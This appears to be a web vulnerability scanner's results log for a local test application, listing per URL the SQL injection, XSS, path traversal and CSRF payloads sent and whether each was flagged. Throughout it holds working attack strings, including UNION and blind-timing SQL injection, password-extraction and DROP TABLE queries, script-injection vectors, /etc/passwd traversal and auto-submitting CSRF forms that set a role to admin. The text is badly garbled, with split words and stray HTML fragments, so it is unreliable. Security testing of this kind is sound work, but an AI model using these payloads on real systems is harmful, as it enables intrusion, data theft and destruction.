sql_injecti on	http://localhost:8000/l ogin.php	' OR '1'='1' #	No vulnerability detected	200	0.14s
sql_injecti on	http://localhost:8000/l ogin.php	1' OR sleep(5)	No vulnerability detected	200	0.14s
sql_injecti on	http://localhost:8000/l ogin.php	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.14s
sql_injecti on	http://localhost:8000/l ogin.php	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.14s
sql_injecti on	http://localhost:8000/l ogin.php	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.14s
sql_injecti on	http://localhost:8000/login.php	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.13s
sql_injecti on	http://localhost:8000/login.php	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.14s
XSS	http://localhost:8000/l ogin.php	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.20s
XSS	http://localhost:8000/login.php	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.13s</td></tr><tr><td>XSS</td><td>http://localhost:8000/login.php</td><td>⟨img src=x onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.13s</td></tr><tr><td>XSS</td><td>http://localhost:8000/login.php</td><td>⟨svg/onload=alert('XSS ')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.13s</td></tr><tr><td>XSS</td><td>http://localhost:8000/login.php</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.15s</td></tr></tbody></table></script>			

XSS	http://localhost:8000/login.php	<pre></pre>	No vulnerability detected	200	0.13s
XSS	http://localhost:8000/login.php	<pre></pre>	No vulnerability detected	200	0.14s
XSS	http://localhost:8000/login.php	<pre><input autofocus="" onfocus="alert('XSS')"/></pre>	No vulnerability detected	200	0.14s
XSS	http://localhost:8000/login.php	<pre><video><source onerror="alert('XSS')"/></video></pre>	No vulnerability detected	200	0.13s
XSS	http://localhost:8000/login.php	⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩	No vulnerability detected	200	0.14s
XSS	http://localhost:8000/login.php	<pre><p onclick="alert(/XSS/)">a</p></pre>	No vulnerability detected	200	0.13s
XSS	http://localhost:8000/login.php	<pre><script>\$=1,alert(\$)</s cript></pre></td><td>No vulnerability detected</td><td>200</td><td>0.14s</td></tr><tr><td>XSS</td><td>http://localhost:8000/login.php</td><td>⟨script⟩alert(1)</td><td>No vulnerability detected</td><td>200</td><td>0.15s</td></tr><tr><td>XSS</td><td>http://localhost:8000/login.php</td><td>⟨script⟩alert(1)⟨!XSS</td><td>No vulnerability detected</td><td>200</td><td>0.14s</td></tr><tr><td>XSS</td><td>http://localhost:8000/login.php</td><td>"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.13s</td></tr><tr><td>XSS</td><td>http://localhost:8000/login.php</td><td><pre><math><mtext></mtex t><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.14s</td></tr><tr><td>XSS</td><td>http://localhost:8000/login.php</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.13s</td></tr><tr><td>XSS</td><td>http://localhost:8000/login.php</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.13s</td></tr><tr><td>XSS</td><td>http://localhost:8000/login.php</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.15s</td></tr><tr><td>XSS</td><td>http://localhost:8000/login.php</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.14s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/l ogin.php</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.20s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/login.php</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.14s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/login.php</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.14s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/login.php</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.14s</td></tr><tr><td>csrf</td><td>http://localhost:8000/login.php</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.11s</td></tr><tr><td>csrf</td><td>http://localhost:8000/login.php</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>No vulnerability detected</td><td>200</td><td>0.14s</td></tr></tbody></table></script></pre>			

csrf	http://localhost:8000/login.php	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩ </pre>	No vulnerability detected	200	0.17s
csrf	http://localhost:8000/login.php	<pre> ⟨form id='autosubmit' action='http://example .com/api/setusername' enctype='text/plain' m ethod='POST'&gt;⟨input name='username' type='hidden' value='CSRFd' /&gt;⟨input type='submit' value='Submit Request' /&gt;⟨/form&gt;⟨scr ipt&gt;document.getElem entByld('autosubmit').s ubmit();⟨/script&gt;</pre>	No vulnerability detected	200	0.14s
csrf	http://localhost:8000/login.php	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.15s
csrf	http://localhost:8000/login.php	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.13s
csrf	http://localhost:8000/login.php	<pre> ⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST'&gt;⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /&gt; ⟨/form&gt;⟨script&gt;docum ent.getElementById('C SRF_POC').submit();⟨/s cript&gt;</pre>	No vulnerability detected	200	0.14s

csrf	http://localhost:8000/login.php	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩</pre>	No vulnerability detected	200	0.24s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	' OR '1'='1	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	' OR 1=1	SQL Injection	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	' OR 'a'='a	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	'; DROP TABLE users;	SQL Injection	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	' OR '1'='1' /*	SQL Injection	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	' OR '1'='1' ({	SQL Injection	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	admin'	SQL Injection	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	' OR '1'='1' #	SQL Injection (Differential)	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	1' OR sleep(5)	SQL Injection	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	' UNION SELECT NULL, NULL, NULL	SQL Injection	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	' AND 1=2 UNION SELECT 1,2,3	SQL Injection	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	' OR EXISTS(SELECT * FROM users)	SQL Injection	200	0.02s
sql_injecti	http://localhost:8000/v ulnerabilities/brute	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	SQL Injection	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/brute	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	SQL Injection	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/brute	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/brute	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/brute</td><td>⟨img src=x onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/brute</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/brute</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script>			

csrf	http://localhost:8000/vulnerabilities/brute	<pre></pre>	CSRF	200	0.02s
csrf	http://localhost:8000/vulnerabilities/brute	<a href="http://exampl&lt;br&gt;e.com/api/setusernam&lt;br&gt;e?username=CSRFd" ⟩c<br="">lick Me⟨/a⟩</a>	CSRF	200	0.03s
path_trav ersal	http://localhost:8000/v ulnerabilities/brute	%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts	No vulnerability detected	200	0.02s
path_trav ersal	http://localhost:8000/v ulnerabilities/brute	₩₩windows₩syste m32₩drivers₩etc₩ho sts	No vulnerability detected	200	0.01s
path_trav ersal	http://localhost:8000/v ulnerabilities/brute	%2f%2fetc%2fpass wd	No vulnerability detected	200	0.02s
path_trav ersal	http://localhost:8000/vulnerabilities/brute	//etc/passwd	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/vulnerabilities/brute	'"> <svg onload="confir&lt;br">m(1)&gt;</svg>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/brute	<pre><details ontoggle="alert('XSS')" open=""></details></pre>	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/brute	<pre><form><button formac="" tion="javascript:alert(1 )"></button></form></pre>	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/brute	<pre></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/brute	<pre><math><mtext><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/brute</td><td>"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/brute</td><td>⟨script⟩alert(1)⟨!XSS</td><td>No vulnerability detected</td><td>200</td><td>0.12s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/brute</td><td>⟨script⟩alert(1)</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/brute</td><td><pre><script>\$=1,alert(\$)</s cript></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/brute</td><td><pre><p/onclick=alert(/XSS/) >a</pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/brute</td><td>⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/brute</td><td>⟨video⟩⟨source onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/brute</td><td><pre><input autofocus onfocus=alert('XSS')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/brute</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/brute</td><td>⟨body onload=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script></mtext></math></pre>			

csrf	http://localhost:8000/v ulnerabilities/brute	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩</pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/brute	<pre><form action="http://example .com/api/setusername" enctype="text/plain" ethod="POST" id="autosubmit" m=""><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><scr ipt="">document.getElem entByld('autosubmit').s ubmit();</scr></pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/brute	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/brute	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/brute	<pre><form action="http://example .com/api/setrole" enctype="text/plain" ethod="POST" id="CSRF_POC" m=""><input name='{"role":admin, "other":"' type="hidden" value='"}'/> </form><script>docum ent.getElementById('C SRF_POC').submit();</s cript></pre></td><td>CSRF</td><td>200</td><td>0.02s</td></tr></tbody></table></script></pre>			

csrf	http://localhost:8000/v ulnerabilities/brute	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩</pre>	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	' OR 1=1	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	'; DROP TABLE users;	No vulnerability detected	200	0.07s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	' OR '1'='1' /*	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	' OR '1'='1' ({	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	admin'	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	' OR '1'='1' #	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	1' OR sleep(5)	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csp	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/csp	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/csp	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csp</td><td>⟨img src=x onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csp</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csp</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr></tbody></table></script>			

	T	Т	T		
XSS	http://localhost:8000/v ulnerabilities/csp	〈body onload=alert('XSS')〉	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/csp	<pre></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/csp	<pre>⟨input autofocus onfocus=alert('XSS')⟩</pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/csp	<pre><video><source onerror="alert('XSS')"/></video></pre>	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/vulnerabilities/csp	⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/csp	<pre><p onclick="alert(/XSS/)">a</p></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/csp	<script>\$=1,alert(\$)</s cript></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/csp</td><td>⟨script⟩alert(1)</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/csp</td><td>⟨script⟩alert(1)⟨!XSS</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/csp</td><td>"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csp</td><td><pre><math><mtext></mtex t><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csp</td><td>⟨button form=test onf ormchange=alert(1)⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csp</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csp</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csp</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/vulnerabilities/csp</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/vulnerabilities/csp</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/csp</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/csp</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/csp</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/csp</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script>			

csrf	http://localhost:8000/v ulnerabilities/csp	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩</pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csp	<pre><form action="http://example .com/api/setusername" enctype="text/plain" ethod="POST" id="autosubmit" m=""><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><scr ipt="">document.getElem entByld('autosubmit').s ubmit();</scr></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csp	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/csp	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csp	<pre> ⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST')⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /&gt; ⟨/form)⟨script⟩docum ent.getElementByld('C SRF_POC').submit();⟨/s cript⟩</pre>	No vulnerability detected	200	0.01s

csrf	http://localhost:8000/v ulnerabilities/csp	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩</pre>	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/s ecurity.php	' OR '1'='1	No vulnerability detected	200	0.00s
sql_injecti on	http://localhost:8000/s ecurity.php	' OR 1=1	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/s ecurity.php	' OR 'a'='a	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/s ecurity.php	'; DROP TABLE users;	No vulnerability detected	200	0.00s
sql_injecti on	http://localhost:8000/s ecurity.php	' OR '1'='1' /*	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/s ecurity.php	' OR '1'='1' ({	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/s ecurity.php	admin'	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/s ecurity.php	' OR '1'='1' #	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/s ecurity.php	1' OR sleep(5)	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/s ecurity.php	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/s ecurity.php	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/s ecurity.php	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/s ecurity.php	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/s ecurity.php	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/s ecurity.php	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/s ecurity.php	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s ecurity.php</td><td>⟨img src=x onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s ecurity.php</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s ecurity.php</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script>			

	1	T	T	1	T
XSS	http://localhost:8000/s ecurity.php	〈body onload=alert('XSS')〉	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/s ecurity.php	<pre></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/s ecurity.php	<pre><input autofocus="" onfocus="alert('XSS')"/></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/s ecurity.php	<pre><video><source onerror="alert('XSS')"/></video></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/s ecurity.php	⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/s ecurity.php	<pre><p onclick="alert(/XSS/)">a</p></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/s ecurity.php	<pre><script>\$=1,alert(\$)</s cript></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s ecurity.php</td><td><script>alert(1)</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s ecurity.php</td><td>⟨script⟩alert(1)⟨!XSS</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s ecurity.php</td><td>"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s ecurity.php</td><td><pre><math><mtext></mtex t><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s ecurity.php</td><td>⟨button form=test onf ormchange=alert(1)⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s ecurity.php</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s ecurity.php</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s ecurity.php</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.00s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/s ecurity.php</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/s ecurity.php</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/s ecurity.php</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/s ecurity.php</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/s ecurity.php</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/s ecurity.php</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script></pre>			

csrf	http://localhost:8000/s ecurity.php	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩ </pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/s ecurity.php	<pre><form action="http://example .com/api/setusername" enctype="text/plain" ethod="POST" id="autosubmit" m=""><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><scr ipt="">document.getElem entByld('autosubmit').s ubmit();</scr></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/s ecurity.php	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();⟨/script ⟩ </pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/s ecurity.php	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/s ecurity.php	<pre> ⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST'⟩⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /⟩ ⟨/form⟩⟨script⟩docum ent.getElementByld('C SRF_POC').submit();⟨/s cript⟩</pre>	No vulnerability detected	200	0.01s

